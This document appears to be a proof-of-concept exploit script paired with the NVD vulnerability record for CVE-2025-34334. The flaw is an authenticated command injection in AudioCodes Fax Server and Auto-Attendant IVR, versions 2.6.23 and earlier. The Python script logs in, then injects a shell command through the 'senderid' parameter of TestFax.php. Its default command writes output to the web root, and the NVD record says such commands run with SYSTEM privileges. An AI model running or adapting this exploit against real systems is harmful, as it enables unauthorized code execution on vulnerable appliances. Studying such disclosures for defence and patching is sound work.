CVE-2025-34334

import requests import sys # CVE-2025-34334 PoC - Authenticated Command Injection in AudioCodes Fax Server # Target: AudioCodes Fax Server / Auto-Attendant IVR <= 2.6.23 TARGET_URL = "http://target-ip/AudioCodes_files/TestFax.php" USERNAME = "attacker" PASSWORD = "password" ATTACKER_CMD = "whoami > C:\\inetpub\\wwwroot\\pwned.txt" def exploit(): """Exploit the command injection vulnerability in TestFax.php""" # Step 1: Authenticate and obtain session session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } print("[*] Authenticating with provided credentials...") response = session.post(f"{TARGET_URL.replace('TestFax.php', 'login.php')}", data=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Send malicious fax test request with command injection # Inject command using parameter manipulation in fax sender test exploit_data = { "action": "send", "faxnumber": "1234567890", "senderid": f"test; {ATTACKER_CMD};", "filename": "test.txt" } print(f"[*] Sending exploit payload with command: {ATTACKER_CMD}") response = session.post(TARGET_URL, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent successfully") print("[*] Check for command execution on target system") return True else: print("[-] Exploit failed") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit()

{"cve": {"id": "CVE-2025-34334", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:48.703", "lastModified": "2025-12-11T21:12:50.690", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "AudioCodes Fax Server and Auto-Attendant IVR appliances versions up to and including 2.6.23 are vulnerable to an authenticated command injection in the fax test functionality implemented by AudioCodes_files/TestFax.php. When a fax \"send\" test is requested, the application builds a faxsender command line using attacker-supplied parameters and passes it to GlobalUtils::RunBatchFile without proper validation or shell-argument sanitization. The resulting batch file is written into a temporary run directory and then executed via a backend service that runs as NT AUTHORITY\\\\SYSTEM. An authenticated attacker with access to the fax test interface can craft parameter values that inject additional shell commands into the generated batch file, leading to arbitrary command execution with SYSTEM privileges. In addition, because the generated batch files reside in a location with overly permissive file system permissions, a local low-privilege user on the server can modify pending batch files to achieve the same elevation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:audiocodes:fax_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6.23", "matchCriteriaId": "A325B684-937A-4AE9-A8B2-235ADB2D1932"}, {"vulnerable": true, "criteria": "cpe:2.3:a:audiocodes:interactive_voice_response:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6.23", "matchCriteriaId": "131420AA-FE49-42FC-A8EC-50C5EB40D3A3"}]}]}], "references": [{"url": "https://pierrekim.github.io/advisories/2025-audiocodes-fax-ivr.txt", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.audiocodes.com/media/g1in2u2o/0548-product-notice-end-of-service-for-audiocodes-auto-attendant-ivr-solution.pdf", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/audiocodes-fax-ivr-appliance-authenticated-command-injection-via-testfax-and-lpe", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}